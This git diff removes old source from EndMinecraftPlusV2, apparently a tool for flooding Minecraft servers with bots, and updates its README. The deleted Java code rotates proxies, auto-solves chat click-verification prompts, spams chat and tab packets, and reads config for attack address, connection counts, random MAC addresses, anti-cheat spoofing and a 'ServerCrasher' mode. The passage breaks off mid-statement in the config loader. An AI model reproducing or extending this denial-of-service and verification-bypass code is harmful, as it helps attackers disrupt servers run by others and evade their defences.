diff --git a/EndMinecraftPlusV2.iml b/EndMinecraftPlusV2.iml deleted file mode 100644 index 26b60f9..0000000 --- a/EndMinecraftPlusV2.iml +++ /dev/null @@ -1,98 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/README.md b/README.md index acb5148..ac1a480 100644 --- a/README.md +++ b/README.md @@ -1,11 +1,9 @@ # EndMinecraftPlusV2 ___ -### 许久未见,star竟已上百,感谢关注! -### 我看到了一些建议,但由于事务繁忙,无暇增添删改。 -### 且该项目过于久远,大量代码逻辑混乱,晦涩难懂,会考虑近期进行完全重构。 +### 重构完成!新版本发布~ ___ ### EndMinecraftPlusV2 - EMP重制版! -### 支持Minecraft 1.7.2-1.19.1 +### 支持Minecraft 1.7.2-1.20.4 ### (注意:较新版本的Minecraft支持可能仍存在一些问题,遇到错误可以提交Issues~) ___ ### 温馨提示: diff --git a/VersionSupport-107/VersionSupport-107.iml b/VersionSupport-107/VersionSupport-107.iml deleted file mode 100644 index d506428..0000000 --- a/VersionSupport-107/VersionSupport-107.iml +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/VersionSupport-107/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport107.java b/VersionSupport-107/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport107.java deleted file mode 100644 index e451396..0000000 --- a/VersionSupport-107/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport107.java +++ /dev/null @@ -1,21 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import org.spacehq.mc.protocol.data.game.ClientRequest; -import org.spacehq.mc.protocol.packet.ingame.client.ClientKeepAlivePacket; -import org.spacehq.mc.protocol.packet.ingame.client.ClientRequestPacket; -import org.spacehq.mc.protocol.packet.ingame.server.ServerKeepAlivePacket; -import org.spacehq.packetlib.Session; - -public class VersionSupport107 { - public static void sendRespawnPacket(Session session) { - ClientRequestPacket clientRequestPacket = new ClientRequestPacket(ClientRequest.RESPAWN); - - session.send(clientRequestPacket); - } - - public static void sendKeepAlivePacket(Session session, ServerKeepAlivePacket packet) { - ClientKeepAlivePacket clientKeepAlivePacket = new ClientKeepAlivePacket(packet.getPingId()); - - session.send(clientKeepAlivePacket); - } -} diff --git a/VersionSupport-578/VersionSupport-578.iml b/VersionSupport-578/VersionSupport-578.iml deleted file mode 100644 index 8bfd4db..0000000 --- a/VersionSupport-578/VersionSupport-578.iml +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/VersionSupport-578/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport578.java b/VersionSupport-578/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport578.java deleted file mode 100644 index 18a4be1..0000000 --- a/VersionSupport-578/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport578.java +++ /dev/null @@ -1,49 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import com.github.steveice10.mc.protocol.data.message.Message; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerKeepAlivePacket; -import com.github.steveice10.packetlib.ProxyInfo; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.tcp.TcpSessionFactory; - -import java.util.HashMap; -import java.util.List; -import java.util.Map; - -public class VersionSupport578 { - public TcpSessionFactory createTcpSessionFactory(ProxyInfo proxyInfo) { - return new TcpSessionFactory(proxyInfo); - } - - public static Map clickVerifiesHandle(Message message, Session session, List ClickVerifiesDetect) { - Map result = new HashMap<>(); - boolean needClick = false; - - if (message.getStyle().getClickEvent() != null) { - for (String clickVerifiesDetect:ClickVerifiesDetect) { - if (message.toString().contains(clickVerifiesDetect)) { - needClick = true; - break; - } - } - } - - if (needClick) { - String msg = message.getStyle().getClickEvent().getValue(); - session.send(new ClientChatPacket(msg)); - result.put("result", "true"); - result.put("msg", msg); - return result; - } - - if (message.getExtra() != null && !message.getExtra().isEmpty()) { - for (Message extraMessage:message.getExtra()) { - return clickVerifiesHandle(extraMessage, session, ClickVerifiesDetect); - } - } - - result.put("result", "false"); - return result; - } -} diff --git a/VersionSupport-754/VersionSupport-754.iml b/VersionSupport-754/VersionSupport-754.iml deleted file mode 100644 index 75df7c1..0000000 --- a/VersionSupport-754/VersionSupport-754.iml +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/VersionSupport-754/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport754.java b/VersionSupport-754/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport754.java deleted file mode 100644 index 9d3cc43..0000000 --- a/VersionSupport-754/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport754.java +++ /dev/null @@ -1,58 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import com.github.steveice10.mc.protocol.MinecraftProtocol; -import com.github.steveice10.mc.protocol.packet.ingame.client.ClientChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.server.ServerChatPacket; -import com.github.steveice10.packetlib.ProxyInfo; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.tcp.TcpClientSession; -import net.kyori.adventure.text.Component; -import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; - -import java.util.*; - -public class VersionSupport754 { - public static Session getSession(String ip, Integer port, String username, ProxyInfo proxyInfo) { - return new TcpClientSession(ip, port, new MinecraftProtocol(username), proxyInfo); - } - - public static Map clickVerifiesHandle(ServerChatPacket packet, Session session, List ClickVerifiesDetect, Component Message) { - Map result = new HashMap<>(); - boolean needClick = false; - Component message; - - if (Message != null) { - message = Message; - } else { - message = packet.getMessage(); - } - - String simpleMsg = PlainTextComponentSerializer.plainText().serialize(message); - - if (message.style().clickEvent() != null) { - for (String clickVerifiesDetect:ClickVerifiesDetect) { - if (simpleMsg.contains(clickVerifiesDetect)) { - needClick = true; - break; - } - } - } - - if (needClick) { - String msg = Objects.requireNonNull(message.style().clickEvent()).value(); - session.send(new ClientChatPacket(msg)); - result.put("result", "true"); - result.put("msg", msg); - return result; - } - - if (!message.children().isEmpty()) { - for (Component extraMessage:message.children()) { - return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage); - } - } - - result.put("result", "false"); - return result; - } -} diff --git a/VersionSupport-758/VersionSupport-758.iml b/VersionSupport-758/VersionSupport-758.iml deleted file mode 100644 index e16b257..0000000 --- a/VersionSupport-758/VersionSupport-758.iml +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/VersionSupport-758/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport758.java b/VersionSupport-758/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport758.java deleted file mode 100644 index aa63183..0000000 --- a/VersionSupport-758/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport758.java +++ /dev/null @@ -1,159 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.entity.player.ClientboundPlayerPositionPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundClientInformationPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundCommandSuggestionPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundMovePlayerPosRotPacket; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.packet.Packet; -import net.kyori.adventure.text.Component; -import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; - -import java.lang.reflect.Array; -import java.lang.reflect.Constructor; -import java.lang.reflect.Field; -import java.util.HashMap; -import java.util.List; -import java.util.Map; -import java.util.Objects; - -public class VersionSupport758 { - public static Map clickVerifiesHandle(Packet packet, Session session, List ClickVerifiesDetect, Component Message) { - ClientboundChatPacket chatPacket = (ClientboundChatPacket) packet; - - Map result = new HashMap<>(); - boolean needClick = false; - Component message; - - if (Message != null) { - message = Message; - } else { - message = chatPacket.getMessage(); - } - - String simpleMsg = PlainTextComponentSerializer.plainText().serialize(message); - - if (message.style().clickEvent() != null) { - for (String clickVerifiesDetect:ClickVerifiesDetect) { - if (simpleMsg.contains(clickVerifiesDetect)) { - needClick = true; - break; - } - } - } - - if (needClick) { - String msg = Objects.requireNonNull(message.style().clickEvent()).value(); - session.send(new ServerboundChatPacket(msg)); - result.put("result", "true"); - result.put("msg", msg); - return result; - } - - if (!message.children().isEmpty()) { - for (Component extraMessage:message.children()) { - clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage); - } - } - - result.put("result", "false"); - result.put("msg", simpleMsg); - return result; - } - - public static void sendClientSettingPacket(Session session, String locale) { - try { - Class cls = ServerboundClientInformationPacket.class; - Constructor constructor; - ServerboundClientInformationPacket packet; - try { - Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.ChatVisibility"); - Class parm2Class = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart;"); - Class parm3Class = Class.forName("com.github.steveice10.mc.protocol.data.game.entity.player.Hand"); - - Class skinClass = Class.forName("com.github.steveice10.mc.protocol.data.game.setting.SkinPart"); - Object[] arrSkin = (Object[]) Array.newInstance(skinClass, 1); - Array.set(arrSkin, 0, skinClass.getEnumConstants()[0]); - - constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, parm3Class); - packet = (ServerboundClientInformationPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, arrSkin, parm3Class.getEnumConstants()[0]); - } catch (NoSuchMethodException ex) { - Class parm1Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundClientInformationPacket.chatVisibility"); - Class parm2Class = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundChangeDifficultyPacket.difficulty"); - - constructor = cls.getConstructor(String.class, int.class, parm1Class, boolean.class, parm2Class, boolean.class); - packet = (ServerboundClientInformationPacket) constructor.newInstance(locale, 10, parm1Class.getEnumConstants()[0], true, parm2Class.getEnumConstants()[0], true); - } - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientPlayerChangeHeldItemPacket(Session session, int slot) { - try { - Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.serverbound.player.ServerboundSetCarriedItemPacket"); - Constructor constructor = cls.getConstructor(int.class); - Packet packet = (Packet) constructor.newInstance(slot); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientTeleportConfirmPacket(Session session, int id) { - try { - Class cls = Class.forName("com.github.steveice10.mc.protocol.packet.ingame.serverbound.level.ServerboundAcceptTeleportationPacket"); - Constructor constructor = cls.getConstructor(int.class); - Packet packet = (Packet) constructor.newInstance(id); - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendClientTeleportConfirmPacket(Session session, ClientboundPlayerPositionPacket packet) { - try { - sendClientTeleportConfirmPacket(session, (int) ClientboundPlayerPositionPacket.class.getMethod("getTeleportId").invoke(packet)); - } catch (Exception ignored) {} - } - - public static void sendPosPacket(Session session, double x, double y, double z, float yaw, float pitch) { - try { - Class cls = ServerboundMovePlayerPosRotPacket.class; - Constructor constructor; - ServerboundMovePlayerPosRotPacket packet; - try { - constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, float.class, float.class); - packet = (ServerboundMovePlayerPosRotPacket) constructor.newInstance(true, x, y, z, yaw, pitch); - } catch (NoSuchMethodException ex) { - constructor = cls.getConstructor(boolean.class, double.class, double.class, double.class, double.class, float.class, float.class); - packet = (ServerboundMovePlayerPosRotPacket) constructor.newInstance(true, x, y - 1.62, y , z, yaw, pitch); - } - session.send(packet); - } catch (Exception ignored) {} - } - - public static void sendChatPacket(Session session, String msg) { - session.send(new ServerboundChatPacket(msg)); - } - - public static void sendTabPacket(Session session, String text) { - try { - Class cls = ServerboundCommandSuggestionPacket.class; - Constructor constructor = cls.getDeclaredConstructor(); - constructor.setAccessible(true); - ServerboundCommandSuggestionPacket packet = (ServerboundCommandSuggestionPacket) constructor.newInstance(); - Field field = cls.getDeclaredField("text"); - field.setAccessible(true); - field.set(packet, text); - session.send(packet); - } catch (Exception ignored) {} - } - - public static boolean checkServerChatPacket(Packet packet) { - try { - Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundChatPacket"); - } catch (ClassNotFoundException e) { - return false; - } - - return packet instanceof ClientboundChatPacket; - } -} diff --git a/VersionSupport-759/VersionSupport-759.iml b/VersionSupport-759/VersionSupport-759.iml deleted file mode 100644 index 5049a2f..0000000 --- a/VersionSupport-759/VersionSupport-759.iml +++ /dev/null @@ -1,39 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/VersionSupport-759/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport759.java b/VersionSupport-759/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport759.java deleted file mode 100644 index dacc15b..0000000 --- a/VersionSupport-759/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport759.java +++ /dev/null @@ -1,70 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundChatPacket; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.packet.Packet; -import net.kyori.adventure.text.Component; -import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; - -import java.time.Instant; -import java.util.*; - -public class VersionSupport759 { - public static Map clickVerifiesHandle(Packet packet, Session session, List ClickVerifiesDetect, Component Message) { - ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet; - - Map result = new HashMap<>(); - boolean needClick = false; - Component message; - - if (Message != null) { - message = Message; - } else { - message = chatPacket.getContent(); - } - - String simpleMsg = PlainTextComponentSerializer.plainText().serialize(message); - - if (message.style().clickEvent() != null) { - for (String clickVerifiesDetect:ClickVerifiesDetect) { - if (simpleMsg.contains(clickVerifiesDetect)) { - needClick = true; - break; - } - } - } - - if (needClick) { - String msg = Objects.requireNonNull(message.style().clickEvent()).value(); - session.send(new ServerboundChatPacket(msg, Instant.now().toEpochMilli(), 0, new byte[0], false)); - result.put("result", "true"); - result.put("msg", msg); - return result; - } - - if (!message.children().isEmpty()) { - for (Component extraMessage:message.children()) { - return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage); - } - } - - result.put("result", "false"); - result.put("msg", simpleMsg); - return result; - } - - public static void sendChatPacket(Session session, String msg) { - session.send(new ServerboundChatPacket(msg, Instant.now().toEpochMilli(), 0L, new byte[0], false)); - } - - public static boolean checkServerChatPacket(Packet packet) { - try { - Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket"); - } catch (ClassNotFoundException e) { - return false; - } - - return packet instanceof ClientboundSystemChatPacket; - } -} diff --git a/VersionSupport-760/VersionSupport-760.iml b/VersionSupport-760/VersionSupport-760.iml deleted file mode 100644 index 95b0bc6..0000000 --- a/VersionSupport-760/VersionSupport-760.iml +++ /dev/null @@ -1,38 +0,0 @@ - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - - \ No newline at end of file diff --git a/VersionSupport-760/src/META-INF/MANIFEST.MF b/VersionSupport-760/src/META-INF/MANIFEST.MF deleted file mode 100644 index 8001206..0000000 --- a/VersionSupport-760/src/META-INF/MANIFEST.MF +++ /dev/null @@ -1,3 +0,0 @@ -Manifest-Version: 1.0 -Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2 - diff --git a/VersionSupport-760/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport760.java b/VersionSupport-760/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport760.java deleted file mode 100644 index 6862def..0000000 --- a/VersionSupport-760/src/cn/serendipityr/EndMinecraftPlusV2/VersionControl/VersionSupport760.java +++ /dev/null @@ -1,70 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.VersionControl; - -import com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket; -import com.github.steveice10.mc.protocol.packet.ingame.serverbound.ServerboundChatPacket; -import com.github.steveice10.packetlib.Session; -import com.github.steveice10.packetlib.packet.Packet; -import net.kyori.adventure.text.Component; -import net.kyori.adventure.text.serializer.plain.PlainTextComponentSerializer; - -import java.time.Instant; -import java.util.*; - -public class VersionSupport760 { - public static Map clickVerifiesHandle(Packet packet, Session session, List ClickVerifiesDetect, Component Message) { - ClientboundSystemChatPacket chatPacket = (ClientboundSystemChatPacket) packet; - - Map result = new HashMap<>(); - boolean needClick = false; - Component message; - - if (Message != null) { - message = Message; - } else { - message = chatPacket.getContent(); - } - - String simpleMsg = PlainTextComponentSerializer.plainText().serialize(message); - - if (message.style().clickEvent() != null) { - for (String clickVerifiesDetect:ClickVerifiesDetect) { - if (simpleMsg.contains(clickVerifiesDetect)) { - needClick = true; - break; - } - } - } - - if (needClick) { - session.send(new ServerboundChatPacket(Objects.requireNonNull(message.style().clickEvent()).value(), Instant.now().toEpochMilli(), 0, new byte[0], false, new ArrayList<>(), null)); - String msg = Objects.requireNonNull(message.style().clickEvent()).value(); - result.put("result", "true"); - result.put("msg", msg); - return result; - } - - if (!message.children().isEmpty()) { - for (Component extraMessage:message.children()) { - return clickVerifiesHandle(null, session, ClickVerifiesDetect, extraMessage); - } - } - - result.put("result", "false"); - result.put("msg", simpleMsg); - return result; - } - - public static void sendChatPacket(Session session, String msg) { - session.send(new ServerboundChatPacket(msg, Instant.now().toEpochMilli(), 0L, new byte[0], false, new ArrayList<>(), null)); - } - - public static boolean checkServerChatPacket(Packet packet) { - try { - Class.forName("com.github.steveice10.mc.protocol.packet.ingame.clientbound.ClientboundSystemChatPacket"); - } catch (ClassNotFoundException e) { - return false; - } - - return packet instanceof ClientboundSystemChatPacket; - } -} diff --git a/libs/AntiCheat3.jar b/libs/AntiCheat3.jar deleted file mode 100644 index e81281e..0000000 Binary files a/libs/AntiCheat3.jar and /dev/null differ diff --git a/libs/MC-1.10.jar b/libs/MC-1.10.jar deleted file mode 100644 index 328855e..0000000 Binary files a/libs/MC-1.10.jar and /dev/null differ diff --git a/libs/MC-1.11.2.jar b/libs/MC-1.11.2.jar deleted file mode 100644 index 6a8f14a..0000000 Binary files a/libs/MC-1.11.2.jar and /dev/null differ diff --git a/libs/MC-1.12.1.jar b/libs/MC-1.12.1.jar deleted file mode 100644 index e697859..0000000 Binary files a/libs/MC-1.12.1.jar and /dev/null differ diff --git a/libs/MC-1.12.2.jar b/libs/MC-1.12.2.jar deleted file mode 100644 index 39dbd1e..0000000 Binary files a/libs/MC-1.12.2.jar and /dev/null differ diff --git a/libs/MC-1.12.jar b/libs/MC-1.12.jar deleted file mode 100644 index b22e276..0000000 Binary files a/libs/MC-1.12.jar and /dev/null differ diff --git a/libs/MC-1.13.2.jar b/libs/MC-1.13.2.jar deleted file mode 100644 index 32f3333..0000000 Binary files a/libs/MC-1.13.2.jar and /dev/null differ diff --git a/libs/MC-1.13.jar b/libs/MC-1.13.jar deleted file mode 100644 index 5f8f7e4..0000000 Binary files a/libs/MC-1.13.jar and /dev/null differ diff --git a/libs/MC-1.7.10.jar b/libs/MC-1.7.10.jar deleted file mode 100644 index 66e6e2c..0000000 Binary files a/libs/MC-1.7.10.jar and /dev/null differ diff --git a/libs/MC-1.7.2.jar b/libs/MC-1.7.2.jar deleted file mode 100644 index c80d6f7..0000000 Binary files a/libs/MC-1.7.2.jar and /dev/null differ diff --git a/libs/MC-1.8.jar b/libs/MC-1.8.jar deleted file mode 100644 index 43ff6aa..0000000 Binary files a/libs/MC-1.8.jar and /dev/null differ diff --git a/libs/MC-1.9.jar b/libs/MC-1.9.jar deleted file mode 100644 index a70d0b0..0000000 Binary files a/libs/MC-1.9.jar and /dev/null differ diff --git a/libs/MCP-1.14.4.jar b/libs/MCP-1.14.4.jar deleted file mode 100644 index 4b3efd4..0000000 Binary files a/libs/MCP-1.14.4.jar and /dev/null differ diff --git a/libs/MCP-1.15.2.jar b/libs/MCP-1.15.2.jar deleted file mode 100644 index 0e0b99f..0000000 Binary files a/libs/MCP-1.15.2.jar and /dev/null differ diff --git a/libs/MCP-1.16.5.jar b/libs/MCP-1.16.5.jar deleted file mode 100644 index 5d703b6..0000000 Binary files a/libs/MCP-1.16.5.jar and /dev/null differ diff --git a/libs/MCP-1.17.1.jar b/libs/MCP-1.17.1.jar deleted file mode 100644 index c7becc0..0000000 Binary files a/libs/MCP-1.17.1.jar and /dev/null differ diff --git a/libs/MCP-1.18.2.jar b/libs/MCP-1.18.2.jar deleted file mode 100644 index b706924..0000000 Binary files a/libs/MCP-1.18.2.jar and /dev/null differ diff --git a/libs/MCP-1.19.1.jar b/libs/MCP-1.19.1.jar deleted file mode 100644 index 3d954eb..0000000 Binary files a/libs/MCP-1.19.1.jar and /dev/null differ diff --git a/libs/MCP-1.19.jar b/libs/MCP-1.19.jar deleted file mode 100644 index ad0c069..0000000 Binary files a/libs/MCP-1.19.jar and /dev/null differ diff --git a/libs/adventure-api-4.11.0.jar b/libs/adventure-api-4.11.0.jar deleted file mode 100644 index e400b9d..0000000 Binary files a/libs/adventure-api-4.11.0.jar and /dev/null differ diff --git a/libs/adventure-text-serializer-plain-4.11.0.jar b/libs/adventure-text-serializer-plain-4.11.0.jar deleted file mode 100644 index 82ffc4b..0000000 Binary files a/libs/adventure-text-serializer-plain-4.11.0.jar and /dev/null differ diff --git a/libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar b/libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar deleted file mode 100644 index 8393170..0000000 Binary files a/libs/bukkitYaml-0.1-pre-jar-with-dependencies.jar and /dev/null differ diff --git a/libs/javassist-3.22.0-CR2.jar b/libs/javassist-3.22.0-CR2.jar deleted file mode 100644 index 0b02004..0000000 Binary files a/libs/javassist-3.22.0-CR2.jar and /dev/null differ diff --git a/libs/jna-5.12.1.jar b/libs/jna-5.12.1.jar deleted file mode 100644 index 89e5773..0000000 Binary files a/libs/jna-5.12.1.jar and /dev/null differ diff --git a/src/META-INF/MANIFEST.MF b/src/META-INF/MANIFEST.MF deleted file mode 100644 index 8001206..0000000 --- a/src/META-INF/MANIFEST.MF +++ /dev/null @@ -1,3 +0,0 @@ -Manifest-Version: 1.0 -Main-Class: cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2 - diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java b/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java deleted file mode 100644 index b618ca4..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/EndMinecraftPlusV2.java +++ /dev/null @@ -1,55 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2; - -import cn.serendipityr.EndMinecraftPlusV2.Tools.ConfigUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.LogUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.ProxyUtil; -import cn.serendipityr.EndMinecraftPlusV2.Tools.SetTitle; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.AttackManager; -import cn.serendipityr.EndMinecraftPlusV2.VersionControl.ProtocolLibs; - -public class EndMinecraftPlusV2 { - public static String ver = "1.4.6"; - public static Integer CfgVer = 6; - public static Boolean isLinux = false; - - public static void main(String[] args) { - System.out.println("========================-Forked by SerendipityR-========================"); - System.out.println(" EndMinecraft原作者 - @iuli-moe"); - System.out.println(" Github发布页: https://github.com/SerendipityR-2022/EndMinecraftPlusV2"); - System.out.println(" EndMinecraftPlusV2 (Ver: " + ver + ")" + " is loading......"); - System.out.println("========================================================================"); - try { - SetTitle.INSTANCE.SetConsoleTitleA("EndMinecraftPlusV2 - Forked by SerendipityR"); - } catch (Throwable e) { - isLinux = true; - } - LogUtil.emptyLog(); - prepareConfig(); - prepareProxy(); - startAttack(); - } - - public static void prepareConfig() { - LogUtil.doLog(0, "正在载入配置文件...", "CFGUtil"); - new ConfigUtil().loadConfig(); - } - - public static void prepareProxy() { - if (!ConfigUtil.AttackMethod.equals(2)) { - LogUtil.doLog(0, "正在获取代理...", "ProxyUtil"); - ProxyUtil.getProxies(); - ProxyUtil.runUpdateProxiesTask(ConfigUtil.ProxyUpdateTime); - } - } - - public static void startAttack() { - LogUtil.doLog(0, "正在载入Minecraft协议库...", "ProtocolLib"); - ProtocolLibs.loadProtocolLib(); - AttackManager.doAttack(); - } - - public static void Exit() { - LogUtil.doLog(0, "程序退出...", "INFO"); - System.exit(0); - } -} diff --git a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java b/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java deleted file mode 100644 index 46e68e1..0000000 --- a/src/cn/serendipityr/EndMinecraftPlusV2/Tools/ConfigUtil.java +++ /dev/null @@ -1,351 +0,0 @@ -package cn.serendipityr.EndMinecraftPlusV2.Tools; - -import cc.summermc.bukkitYaml.file.YamlConfiguration; -import cn.serendipityr.EndMinecraftPlusV2.EndMinecraftPlusV2; - -import javax.naming.directory.Attribute; -import javax.naming.directory.InitialDirContext; -import java.io.BufferedInputStream; -import java.io.File; -import java.io.InputStreamReader; -import java.io.OutputStreamWriter; -import java.nio.file.Files; -import java.util.*; - -public class ConfigUtil { - public static File configFile; - public static YamlConfiguration config; - public static Integer CfgVer; - public static String AttackAddress; - public static Integer AttackPort; - public static Integer AttackMethod; - public static Integer AttackTime; - public static Long ConnectDelay; - public static Long ConnectTimeout; - public static Integer MaxConnections; - public static Boolean TabAttack; - public static Boolean AntiAttackMode; - public static String DoubleExploitPlayer; - public static Boolean ShowFails; - public static String BotName; - public static Integer RandomFlag; - public static Integer RandomMinLength; - public static Integer RandomMaxLength; - public static Boolean RandomTeleport; - public static Integer BotCount; - public static Boolean RegisterAndLogin; - public static List RegisterCommands; - public static Integer RejoinCount; - public static List RejoinDetect; - public static Long RejoinDelay; - public static List ClickVerifiesDetect; - public static List CustomChat; - public static Boolean ChatSpam; - public static Long ChatDelay; - public static Integer ProxyGetType; - public static Integer ProxyType; - public static Integer ProxyUpdateTime; - public static File ProxyFile; - public static List ProxyAPIs; - public static Boolean SaveWorkingProxy; - public static Boolean ForgeSupport; - public static HashMap ForgeModList; - public static Boolean CatAntiCheat; - public static File CACCustomScreenShot; - public static List CACLoadedClass; - public static File CACLoadedMods; - public static Boolean RandomMAC; - public static Boolean ShowServerMessages; - public static Boolean ServerCrasher; - public static Integer ServerCrasherMode; - public static Long ServerCrasherPacketDelay; - - public void loadConfig() { - try { - configFile = new File("config.yml"); - - if (!configFile.exists()) { - LogUtil.doLog(1, "载入配置文件失败! 文件不存在。", null); - EndMinecraftPlusV2.Exit(); - } - - config = YamlConfiguration.loadConfiguration(configFile); - - CfgVer = config.getInt("CfgVer"); - - AttackAddress = config.getString("AttackSettings.Address"); - AttackPort = config.getInt("AttackSettings.Port"); - AttackMethod = config.getInt("AttackSettings.Method"); - AttackTime = config.getInt("AttackSettings.Time"); - ConnectDelay = config.getLong("AttackSettings.ConnectDelay"); - ConnectTimeout = config.getLong("AttackSettings.ConnectTimeout"); - MaxConnections = config.getInt("AttackSettings.MaxConnections"); - TabAttack = config.getBoolean("AttackSettings.TabAttack"); - AntiAttackMode = config.getBoolean("AttackSettings.AntiAttackMode"); - DoubleExploitPlayer = config.getString("AttackSettings.DoubleExploitPlayer"); - ShowFails = config.getBoolean("AttackSettings.ShowFails"); - BotName = config.getString("BotSettings.BotName"); - BotCount = config.getInt("BotSettings.BotCount"); - RandomTeleport = config.getBoolean("BotSettings.RandomTeleport"); - RandomFlag = config.getInt("BotSettings.RandomFlag"); - RandomMinLength = config.getInt("BotSettings.RandomMinLength"); - RandomMaxLength = config.getInt("BotSettings.RandomMaxLength"); - RegisterAndLogin = config.getBoolean("BotSettings.Register&Login"); - RegisterCommands = config.getStringList("BotSettings.RegisterCommands"); - RejoinCount = config.getInt("BotSettings.RejoinCount"); - RejoinDetect = config.getStringList("BotSettings.RejoinDetect"); - RejoinDelay = config.getLong("BotSettings.RejoinDelay"); - ClickVerifiesDetect = config.getStringList("BotSettings.ClickVerifiesDetect"); - ChatSpam = config.getBoolean("BotSettings.ChatSpam"); - CustomChat = config.getStringList("BotSettings.CustomChat"); - ChatDelay = config.getLong("BotSettings.ChatDelay"); - ShowServerMessages = config.getBoolean("BotSettings.ShowServerMessages"); - ProxyGetType = config.getInt("Proxy.GetType"); - ProxyType = config.getInt("Proxy.ProxyType"); - ProxyUpdateTime = config.getInt("Proxy.UpdateTime"); - ProxyFile = new File(config.getString("Proxy.File")); - ProxyAPIs = config.getStringList("Proxy.APIs"); - SaveWorkingProxy = config.getBoolean("Proxy.SaveWorkingProxy"); - ForgeSupport = config.getBoolean("AdvancedSettings.ForgeSupport"); - - if 